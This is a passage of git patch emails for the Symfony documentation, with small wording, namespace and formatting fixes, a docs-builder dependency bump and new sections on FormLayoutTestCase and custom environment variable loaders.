+                ->setParameter('{{ string }}', $value)
+                ->addViolation();
         }
     }
 
@@ -664,3 +666,4 @@ class to simplify writing unit tests for your custom constraints::
             // ...
         }
     }
+

From 8e71bd22f2022e0c88ccd18a5a2571a611229515 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Oct 2023 20:53:49 +0200
Subject: [PATCH 3893/5766] minor

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 54749f6e65a..a8f066e83be 100644
--- a/templates.rst
+++ b/templates.rst
@@ -383,7 +383,7 @@ gives you access to these variables:
 ``app.locale``
     The locale used in the current :ref:`locale switcher <locale-switcher>` context.
 ``app.enabled_locales``
-    The locales enabled in the application
+    The locales enabled in the application.
 
 .. versionadded:: 6.2
 

From 4c87592e7f4bd450e5be5f4a54a1202e63c19188 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 2 Oct 2023 22:24:14 +0200
Subject: [PATCH 3894/5766] Document change of UriSigner namespace

---
 routing.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index ae7ccdcb6f8..c717cd23255 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2693,13 +2693,13 @@ A signed URI is an URI that includes a hash value that depends on the contents o
 the URI. This way, you can later check the integrity of the signed URI by
 recomputing its hash value and comparing it with the hash included in the URI.
 
-Symfony provides a utility to sign URIs via the :class:`Symfony\\Component\\HttpKernel\\UriSigner`
+Symfony provides a utility to sign URIs via the :class:`Symfony\\Component\\HttpFoundation\\UriSigner`
 service, which you can inject in your services or controllers::
 
     // src/Service/SomeService.php
     namespace App\Service;
 
-    use Symfony\Component\HttpKernel\UriSigner;
+    use Symfony\Component\HttpFoundation\UriSigner;
 
     class SomeService
     {
@@ -2729,6 +2729,12 @@ service, which you can inject in your services or controllers::
         }
     }
 
+.. versionadded:: 6.4
+
+    The namespace of the ``UriSigner`` class changed in Symfony 6.4 from
+    ``Symfony\Component\HttpKernel\UriSigner`` to
+    ``Symfony\Component\HttpFoundation\UriSigner``.
+
 Troubleshooting
 ---------------
 

From 5928e56c1d21444147f31f4b356d582fc0c2dbb5 Mon Sep 17 00:00:00 2001
From: mohamed <msenoussi@wanadev.fr>
Date: Tue, 3 Oct 2023 10:10:25 +0200
Subject: [PATCH 3895/5766] [Security] Improve `requires_channel` var naming

---
 security/force_https.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/force_https.rst b/security/force_https.rst
index 817adbdb50f..016ac59496e 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -74,8 +74,8 @@ access control:
             };
 
 To make life easier while developing, you can also use an environment variable,
-like ``requires_channel: '%env(SECURE_SCHEME)%'``. In your ``.env`` file, set
-``SECURE_SCHEME`` to ``http`` by default, but override it to ``https`` on production.
+like ``requires_channel: '%env(REQUIRED_SCHEME)%'``. In your ``.env`` file, set
+``REQUIRED_SCHEME`` to ``http`` by default, but override it to ``https`` on production.
 
 See :doc:`/security/access_control` for more details about ``access_control``
 in general.

From 4bb19a90217c1ad2875455a0249c9d15455642d4 Mon Sep 17 00:00:00 2001
From: Sander van der Vlugt <sandervdvlugt@gmail.com>
Date: Tue, 3 Oct 2023 11:25:19 +0200
Subject: [PATCH 3896/5766] [Security] Update voters.rst

Link to non-deprecated Security class being used in the example.
---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 72e52e2d090..7d37aea2510 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -242,7 +242,7 @@ Checking for Roles inside a Voter
 
 What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want
 to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting
-the :class:`Symfony\\Component\\Security\\Core\\Security`
+the :class:`Symfony\\Bundle\\SecurityBundle\\Security`
 into your voter. You can use this to, for example, *always* allow access to a user
 with ``ROLE_SUPER_ADMIN``::
 

From 9f7f0bce7115396164d1612da738a5ac1ed08cc5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 3 Oct 2023 21:01:22 +0200
Subject: [PATCH 3897/5766] Fix: Build

---
 security.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security.rst b/security.rst
index 599701faf68..e5cf84b3cee 100644
--- a/security.rst
+++ b/security.rst
@@ -2830,3 +2830,4 @@ Authorization (Denying Access)
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
+.. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php

From b2c73abc2cdcac9030f4fd9d0582f9649bbd5cb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 09:10:49 +0200
Subject: [PATCH 3898/5766] Remove an unneeded versionadded directive

---
 routing.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index e109170e294..fb5931cc517 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2724,12 +2724,6 @@ service, which you can inject in your services or controllers::
         }
     }
 
-.. versionadded:: 6.4
-
-    The namespace of the ``UriSigner`` class changed in Symfony 6.4 from
-    ``Symfony\Component\HttpKernel\UriSigner`` to
-    ``Symfony\Component\HttpFoundation\UriSigner``.
-
 Troubleshooting
 ---------------
 

From f436f089523d4ee2979f985615d82949a88df2be Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Wed, 4 Oct 2023 10:47:20 +0200
Subject: [PATCH 3899/5766] Update the docs-builder to 0.21

---
 _build/composer.json |  2 +-
 _build/composer.lock | 14 +++++++-------
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index 2a3b8475f25..e09d79de52f 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -17,6 +17,6 @@
         "php": ">=8.1",
         "symfony/console": "^6.2",
         "symfony/process": "^6.2",
-        "symfony-tools/docs-builder": "^0.20"
+        "symfony-tools/docs-builder": "^0.21"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index d863be84ad9..89a4e7da3c6 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "1c3437f0f5d5b44eb1a339dd720bbc38",
+    "content-hash": "8a771cef10c68c570bff7875e4bdece3",
     "packages": [
         {
             "name": "doctrine/deprecations",
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.5",
+            "version": "v0.21.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35"
+                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/11d9d81e3997e771ad1a57eabaa51fc22c500b35",
-                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
+                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
                 "shasum": ""
             },
             "require": {
@@ -514,9 +514,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.5"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.21.0"
             },
-            "time": "2023-04-28T09:41:45+00:00"
+            "time": "2023-07-11T15:21:07+00:00"
         },
         {
             "name": "symfony/console",

From f718c5f393fb1bde241e318046e389279b7283eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 12:20:44 +0200
Subject: [PATCH 3900/5766] Minor tweaks

---
 testing.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 162e5e0f185..6c61531e4ed 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1149,12 +1149,13 @@ HttpClient Assertions
 
 .. tip::
 
-    For all following assertions, ``$client->enableProfiler()`` must be called before the code that will trigger HTTP request(s).
+    For all the following assertions, ``$client->enableProfiler()`` must be
+    called before the code that will trigger HTTP request(s).
 
 ``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
-    Asserts that the given URL has been called using, is specified,
+    Asserts that the given URL has been called using, if specified,
     the given method body and headers. By default it will check on the HttpClient,
-    but a HttpClient id can be specified.
+    but you can also pass a specific HttpClient ID.
     (It will succeed if the request has been called multiple times.)
 
 ``assertNotHttpClientRequest(string $unexpectedUrl, string $expectedMethod = 'GET', string $httpClientId = 'http_client')``
@@ -1163,7 +1164,8 @@ HttpClient Assertions
 
 ``assertHttpClientRequestCount(int $count, string $httpClientId = 'http_client')``
     Asserts that the given number of requests has been made on the HttpClient.
-    By default it will check on the HttpClient, but a HttpClient id can be specified.
+    By default it will check on the HttpClient, but you can also pass a specific
+    HttpClient ID.
 
 .. versionadded:: 6.4
 

From 98b4115fd12b2f3ac56893053100957e33bb0640 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 13:05:56 +0200
Subject: [PATCH 3901/5766] Tweak

---
 security.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/security.rst b/security.rst
index bc40f30e9d5..1529fef9c3d 100644
--- a/security.rst
+++ b/security.rst
@@ -1611,16 +1611,15 @@ and set the ``limiter`` option to its service ID:
 Customize Successful and Failed Authentication Behavior
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to customize the success or failure handling process, instead of
-overwriting the respective listeners globally, you can set custom success
-failure handlers by implementing the
+If you want to customize how the successful or failed authentication process is
+handled, you don't have to overwrite the respective listeners globally. Instead,
+you can set custom success failure handlers by implementing the
 :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`
 or the
 :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
-If you want more information about this, you can have a look at the section
-about
-:ref:`customizing your success handler <login-link_customize-success-handler>`.
+Read :ref:`how to customize your success handler <login-link_customize-success-handler>`
+for more information about this.
 
 .. _security-logging-out:
 

From eb607a359ec016fd91dfdfcd5318df5917859d59 Mon Sep 17 00:00:00 2001
From: Andrey Tkachenko <andrey.tkachenko@spryker.com>
Date: Wed, 4 Oct 2023 11:16:56 +0200
Subject: [PATCH 3902/5766] Update security.rst

Fixed the mistype.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 1529fef9c3d..0f2c338c0a4 100644
--- a/security.rst
+++ b/security.rst
@@ -2686,7 +2686,7 @@ Frequently Asked Questions
     Sometimes authentication may be successful, but after redirecting, you're
     logged out immediately due to a problem loading the ``User`` from the session.
     To see if this is an issue, check your log file (``var/log/dev.log``) for
-    the log message:
+    the log message.
 
 **Cannot refresh token because user has changed**
     If you see this, there are two possible causes. First, there may be a problem

From e06387733d2838ceb0d3a2fa422dd69220a48add Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20B=C3=B6hmer?= <mail@jan-boehmer.de>
Date: Sat, 30 Sep 2023 00:14:16 +0200
Subject: [PATCH 3903/5766] [PropertyInfo] Added documentation about camelCase
 assumption for getter/setter methods

---
 components/property_info.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 37c425d85df..78e67e63ac3 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -225,7 +225,14 @@ provide whether properties are readable or writable as booleans::
 The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor` looks
 for getter/isser/setter/hasser method in addition to whether or not a property is public
 to determine if it's accessible. This based on how the :doc:`PropertyAccess </components/property_access>`
-works.
+works. It assumes camel case style method names following `PSR-1`_. Therefore, a property like ``myProperty`` or ``my_property`` is
+readable if it has a ``getMyProperty()`` and writable if it has a ``setMyProperty()`` method.
+
+.. versionadded:: 6.4
+
+    Camel case style setter methods for properties in snake case (like ``my_property``) are accepted since Symfony 6.4. Before, the
+    setter name had to contain the underscores (e.g. `setMy_property()`) to make the property assumed writable.
+
 
 .. _property-info-initializable:
 
@@ -552,6 +559,7 @@ service by defining it as a service with one or more of the following
 * ``property_info.initializable_extractor`` if it provides initializable information
   (it checks if a property can be initialized through the constructor).
 
+.. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
 .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock
 .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser

From 59576afa6e69cef95f7b122eaaadcc3f8d5b9824 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 13:25:17 +0200
Subject: [PATCH 3904/5766] Tweaks

---
 components/property_info.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 78e67e63ac3..d5699ea1bab 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -225,14 +225,15 @@ provide whether properties are readable or writable as booleans::
 The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor` looks
 for getter/isser/setter/hasser method in addition to whether or not a property is public
 to determine if it's accessible. This based on how the :doc:`PropertyAccess </components/property_access>`
-works. It assumes camel case style method names following `PSR-1`_. Therefore, a property like ``myProperty`` or ``my_property`` is
-readable if it has a ``getMyProperty()`` and writable if it has a ``setMyProperty()`` method.
+works. It assumes camel case style method names following `PSR-1`_. For example,
+both ``myProperty`` and ``my_property`` properties are readable if there's a
+``getMyProperty()`` method and writable if there's a ``setMyProperty()`` method.
 
 .. versionadded:: 6.4
 
-    Camel case style setter methods for properties in snake case (like ``my_property``) are accepted since Symfony 6.4. Before, the
-    setter name had to contain the underscores (e.g. `setMy_property()`) to make the property assumed writable.
-
+    In Symfony versions prior to 6.4, snake case properties (e.g. ``my_property``)
+    were not writable by camel case methods (e.g. ``setMyProperty()``). You had
+    to define method names with underscores (e.g. ``setMy_property()``).
 
 .. _property-info-initializable:
 

From 1688347312b2ae00e8d60df9d31e76170c1756d5 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 13:37:29 +0200
Subject: [PATCH 3905/5766] [TwigBridge] Add `FormLayoutTestCase` class

---
 form/unit_testing.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 0cff565be00..ddaf5816fcf 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -240,4 +240,18 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
+If you want to test the themes of your forms, you may want to make your test extends the
+:class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class. This saves a lot of
+boilerplate and code duplication by implementing the
+:class:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase` methods for you.
+All that's left to do is to implement the
+:method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTemplatePaths`, the
+:method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTwigExtensions` and
+the :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getThemes` methods.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class was
+    introduced in Symfony 6.4.
+
 .. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers

From a45366817bd43f44b7bd9e6e45d41921df943731 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 13:38:47 +0200
Subject: [PATCH 3906/5766] [RateLimiter] Remove deprecations

---
 rate_limiter.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 06c888b480b..1fe86ef020a 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -375,14 +375,6 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
     method was introduced in Symfony 6.4.
 
-.. deprecated:: 6.4
-
-    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::getRetryAfter`
-    method is deprecated since Symfony 6.4. Prior to this version, the
-    ``getRetryAfter()`` method must be used instead of the
-    :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
-    method.
-
 .. _rate-limiter-storage:
 
 Storing Rate Limiter State

From b7316c45b4ec6a78e1a98b852aa2a97379318737 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 13:40:24 +0200
Subject: [PATCH 3907/5766] [Twig] Fix title underlining

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 7426fab8ebc..47b06ec2ea4 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -305,7 +305,7 @@ Generates a URL that you can visit to
     The ``impersonation_path()`` function was introduced in Symfony 6.4.
 
 impersonation_url
-~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 

From c39d5b260c43bc18a88d587ebe59ec73e4cda4d6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 13:45:35 +0200
Subject: [PATCH 3908/5766] Tweaks

---
 components/http_foundation.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index d02eaad726c..82de7c11800 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -709,14 +709,14 @@ after some specific item count to send the contents to the browser::
         }
     }
 
-You also have the possibility to directly pass any iterable to
-``StreamedJsonResponse``, including generators::
+Alternatively, you can also pass any iterable to ``StreamedJsonResponse``,
+including generators::
 
     public function loadArticles(): \Generator
     {
-         yield ['title' => 'Article 1'];
-         yield ['title' => 'Article 2'];
-         yield ['title' => 'Article 3'];
+        yield ['title' => 'Article 1'];
+        yield ['title' => 'Article 2'];
+        yield ['title' => 'Article 3'];
     }
 
     public function __invoke(): Response
@@ -728,8 +728,7 @@ You also have the possibility to directly pass any iterable to
 
 .. versionadded:: 6.4
 
-    The support for any iterable in ``StreamedJsonResponse`` was introduced in
-    Symfony 6.4.
+    The ``StreamedJsonResponse`` support of iterables was introduced in Symfony 6.4.
 
 .. _component-http-foundation-serving-files:
 

From e4910bd16604d43a1dfb89d39f0abb86ad787e37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 14:51:43 +0200
Subject: [PATCH 3909/5766] [Messenger] Make a list unordered

---
 components/messenger.rst | 40 ++++++++++++++++++++--------------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index f2b71f38a3d..9d46184bef4 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -142,26 +142,26 @@ through the transport layer, use the ``SerializerStamp`` stamp::
 
 Here are some important envelope stamps that are shipped with the Symfony Messenger:
 
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\DelayStamp`,
-   to delay handling of an asynchronous message.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`,
-   to make the message be handled after the current bus has executed. Read more
-   at :doc:`/messenger/dispatch_after_current_bus`.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
-   a stamp that marks the message as handled by a specific handler.
-   Allows accessing the handler returned value and the handler name.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\ReceivedStamp`,
-   an internal stamp that marks the message as received from a transport.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\SentStamp`,
-   a stamp that marks the message as sent by a specific sender.
-   Allows accessing the sender FQCN and the alias if available from the
-   :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SendersLocator`.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`,
-   to configure the serialization groups used by the transport.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
-   to configure the validation groups used when the validation middleware is enabled.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
-   an internal stamp when a message fails due to an exception in the handler.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\DelayStamp`,
+  to delay handling of an asynchronous message.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`,
+  to make the message be handled after the current bus has executed. Read more
+  at :doc:`/messenger/dispatch_after_current_bus`.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
+  a stamp that marks the message as handled by a specific handler.
+  Allows accessing the handler returned value and the handler name.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ReceivedStamp`,
+  an internal stamp that marks the message as received from a transport.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\SentStamp`,
+  a stamp that marks the message as sent by a specific sender.
+  Allows accessing the sender FQCN and the alias if available from the
+  :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SendersLocator`.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`,
+  to configure the serialization groups used by the transport.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
+  to configure the validation groups used when the validation middleware is enabled.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
+  an internal stamp when a message fails due to an exception in the handler.
 
 .. note::
 

From 2ada968319f430fed07be74ffc6562f3312c7b15 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 15:28:36 +0200
Subject: [PATCH 3910/5766] [Configuration] Mention `EnvVarLoaderInterface`

---
 configuration.rst | 69 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 9703dc24215..33d3c64b860 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -993,6 +993,75 @@ environment variables, with their values, referenced in Symfony's container conf
     # run this command to show all the details for a specific env var:
     $ php bin/console debug:container --env-var=FOO
 
+Create Your Own Logic To Load Env Vars
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can implement your own logic to load environment variables in your
+application if the default behavior doesn't exactly fit your needs. This
+can be done by implementing the
+:class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterface`.
+
+.. note::
+
+    When using autoconfiguration, implementing the interface is the only
+    required step. Otherwise, you have to manually add the
+    ``container.env_var_loader`` tag to your class. You can learn more about
+    it in :doc:`the dedicated page </service_container/tags>`.
+
+Let's say you have a JSON file named ``env.json`` containing your environment
+variables:
+
+.. code-block:: json
+
+    {
+        "vars": {
+            "APP_ENV": "prod",
+            "APP_DEBUG": false
+        }
+    }
+
+We can create a new class named ``JsonEnvVarLoader`` to populate our environment
+variables from the file::
+
+    namespace App\DependencyInjection;
+
+    use Symfony\Component\DependencyInjection\EnvVarLoaderInterface;
+
+    class JsonEnvVarLoader implements EnvVarLoaderInterface
+    {
+        private const ENV_VARS_FILE = 'env.json';
+
+        public function loadEnvVars(): array
+        {
+            $fileName = __DIR__.\DIRECTORY_SEPARATOR.self::ENV_VARS_FILE;
+            if (!is_file($fileName)) {
+                // throw an error or just ignore this loader, depending on your needs
+            }
+
+            $content = json_decode(file_get_contents($fileName), true);
+
+            return $content['vars'];
+        }
+    }
+
+That's it! Now the application will look at a ``env.json`` file in the
+current directory to populate environment variables, additionally to the
+already existing ``.env`` files.
+
+.. tip::
+
+    If you want an env var to have a value on a certain environment but to fallback
+    on loaders on another environment, assign an empty value to the env var for
+    the environment you want to use loaders:
+
+    .. code-block:: bash
+
+        # .env (or .env.local)
+        APP_ENV=prod
+
+        # .env.prod (or .env.local.prod) - this will fallback on the loaders you defined
+        APP_ENV=
+
 .. _configuration-accessing-parameters:
 
 Accessing Configuration Parameters

From 0653ba0e5e8aa5eef824c4943e31c3fd2d1b6b4e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 18:00:05 +0200
Subject: [PATCH 3911/5766] Minor reword

---
 form/unit_testing.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index ddaf5816fcf..e191676215c 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -240,11 +240,11 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
-If you want to test the themes of your forms, you may want to make your test extends the
-:class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class. This saves a lot of
-boilerplate and code duplication by implementing the
+When testing the themes of your forms, consider making your test extend the
+:class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class. This saves a lot
+of boilerplate and code duplication by implementing the
 :class:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase` methods for you.
-All that's left to do is to implement the
+All you need to do is to implement the
 :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTemplatePaths`, the
 :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTwigExtensions` and
 the :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getThemes` methods.

From afcdba27a2fd9c6cf95249aed0725cf64f2577c2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 5 Oct 2023 08:14:31 +0200
Subject: [PATCH 3912/5766] Fix list usage

It reads more natural now
---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 353f2024491..a65bafcde3f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -929,8 +929,8 @@ HTTP Compression
 
 The HTTP header ``Accept-Encoding: gzip`` is added automatically if:
 
-* When using cURL client: cURL was compiled with ZLib support (see ``php --ri curl``)
-* When using the native HTTP client: `Zlib PHP extension`_ is installed
+* using cURL client: cURL was compiled with ZLib support (see ``php --ri curl``)
+* using the native HTTP client: `Zlib PHP extension`_ is installed
 
 If the server does respond with a gzipped response, it's decoded transparently.
 To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.

From ca3a09b004bd55400f7ff97618ee7da450c2b349 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 08:55:17 +0200
Subject: [PATCH 3913/5766] Tweaks

---
 configuration.rst | 33 ++++++++++++++++-----------------
 1 file changed, 16 insertions(+), 17 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 33d3c64b860..35417a8dfee 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -993,20 +993,19 @@ environment variables, with their values, referenced in Symfony's container conf
     # run this command to show all the details for a specific env var:
     $ php bin/console debug:container --env-var=FOO
 
-Create Your Own Logic To Load Env Vars
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating Your Own Logic To Load Env Vars
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can implement your own logic to load environment variables in your
-application if the default behavior doesn't exactly fit your needs. This
-can be done by implementing the
-:class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterface`.
+You can implement your own logic to load environment variables if the default
+Symfony behavior doesn't fit your needs. To do so, create a service whose class
+implements :class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterface`.
 
 .. note::
 
-    When using autoconfiguration, implementing the interface is the only
-    required step. Otherwise, you have to manually add the
-    ``container.env_var_loader`` tag to your class. You can learn more about
-    it in :doc:`the dedicated page </service_container/tags>`.
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+    the autoconfiguration feature will enable and tag thise service automatically.
+    Otherwise, you need to register and :doc:`tag your service </service_container/tags>`
+    with the ``container.env_var_loader`` tag.
 
 Let's say you have a JSON file named ``env.json`` containing your environment
